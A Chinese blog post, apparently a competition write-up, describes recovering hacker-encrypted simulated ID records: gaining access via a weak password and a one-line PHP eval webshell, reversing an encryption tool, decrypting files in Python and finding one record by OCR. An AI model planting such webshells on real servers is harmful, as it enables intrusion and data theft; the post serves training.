严正声明:本博文所讨论的技术仅用于研究学习,旨在增强读者的信息安全意识,提高信息安全防护技能,严禁用于非法活动。任何个人、团体、组织不得用于非法目的,违法犯罪必将受到法律的严厉制裁。
背景
请选⼿获取当前的系统的权限后分析⽂件共享服务器,还原被⿊客加密的客⼾实名信息数据,并将还原数据中⽣⽇为:11⽉2号,姓名为:严旭的身份证号码作为答案提交。
- 通过弱口令登录到文件共享服务器的后台。
- 上传一句话木马
<?php @eval($_POST[2]);?>获取到当前的系统权限。 - 发现在 C:/Users/Administrator/Downloads/ 目录下存在
FileEnc.exe程序,猜测是黑客用来加密数据的程序。 - 同时在 C:/phpstudy_pro/WWW/files/real name information/ 目录下发现被加密的文件。
逆向加密程序
浅浅尝试一下这个加密程序,发现 -E 可以进行加密,-D 可以进行解密。
以加密 hacker.jpg 文件为例,在实现 .\FileEnc.exe -E -I .\in\ -O .\out\ 指令后,发现 in 目录下多出了两个加密过程文件:
hacker.jpg
hacker.jpg.tmp1
hacker.jpg.tmp2
同时,out 目录下会生成一个加密后的文件 hacker.jpg.02,但经过对比发现,hacker.jpg.tmp2 和 hacker.jpg.02 是同一个文件。
但当我们通过 -D 指令实现解密时,发现被没有对文件进行解密,话不多说,直接根据已知的信息找到两个解密函数:
发现它们并没有实现解密,因此接下来我们需要根据加密函数逆推解密。
先来分析加密函数 byte_add_num 函数,它的作用就是在原先的数值基础上再加114:
再分析 enExchangeBte 函数,将文件二进制流中的两两字节进行互换,即 ab 换成 ba,同时对于奇数长度的文件,会对最后一个字节进行特殊处理:
最终编写解密脚本:
import os
def decode_img(input_dir, output_dir):
if not os.path.exists(output_dir):
os.makedirs(output_dir)
for name in os.listdir(input_dir):
with open(f"{input_dir}/{name}", "rb") as f:
file = f.read()
temp1 = [(byte - 114) % 256 for byte in file]
if len(temp1) % 2 == 0:
temp1[::2], temp1[1::2] = temp1[1::2], temp1[::2]
else:
temp1[0:-1:2], temp1[1:-1:2] = temp1[1:-1:2], temp1[0:-1:2]
with open(f"{output_dir}/{name[:-3]}", "wb") as f:
f.write(bytearray(temp1))
运行结果:
虽然我们成功解密了数据,但是还有一个问题,这里有四千个身份证信息图片,如果我们用眼睛一个一个去筛查,那直接老眼昏花,因此需要编写一个 OCR 脚本。
OCR 身份信息
由于需要识别的信息比较常规,因此使用 tesseract 足矣,编写脚步如下所示:
def process_image(file, bar):
try:
image = Image.open(file).convert("L")
enhancer = ImageEnhance.Contrast(image)
image = enhancer.enhance(2)
image = image.point(lambda x: 0 if x < 140 else 255)
text = pytesseract.image_to_string(image, lang='chi_sim')
if "严旭" in text:
tqdm.write(f"\nFile: {os.path.basename(file)}")
tqdm.write(text)
image.close()
except Exception as e:
tqdm.write(f"Error processing {file}: {e}")
finally:
bar.update(1)
上述代码主要是将图片转为灰度图,然后增强对比度,再进行二值化处理,最后使用 tesseract 识别图中的信息。
这里由于目标识别数量较多,因此使用 tqdm 来实现进度条统计,同时,可以显著加速任务执行。使用 ThreadPoolExecutor 实现并发处理,可以显著加速任务执行。
代码如下所示:
if __name__ == '__main__':
decode_dir = "decode"
files = [os.path.join(decode_dir, file) for file in os.listdir(decode_dir)]
with tqdm(total=len(files), desc="Processing images") as progress_bar:
with ThreadPoolExecutor() as executor:
for file in files:
executor.submit(process_image, file, progress_bar)
运行结果:
最终根据图片 ID 找到这张身份证(注意识别身份信息为模拟数据):
后记
以上就是 破译黑客加密:场景模拟还原数据的完整过程 的所有内容了,希望本篇博文对大家有所帮助!欢迎大家持续关注我的博客,一起分享学习和成长的乐趣!✨
严正声明:本博文所讨论的技术仅用于研究学习,旨在增强读者的信息安全意识,提高信息安全防护技能,严禁用于非法活动。任何个人、团体、组织不得用于非法目的,违法犯罪必将受到法律的严厉制裁。
📝 上篇精讲:记一次线上安全测试中误用父类属性导致数据污染的解决方案
💖 我是 𝓼𝓲𝓭𝓲𝓸𝓽,期待你的关注,创作不易,请多多支持;
👍 公众号:sidiot的技术驿站;
🔥 系列专栏:问题解决;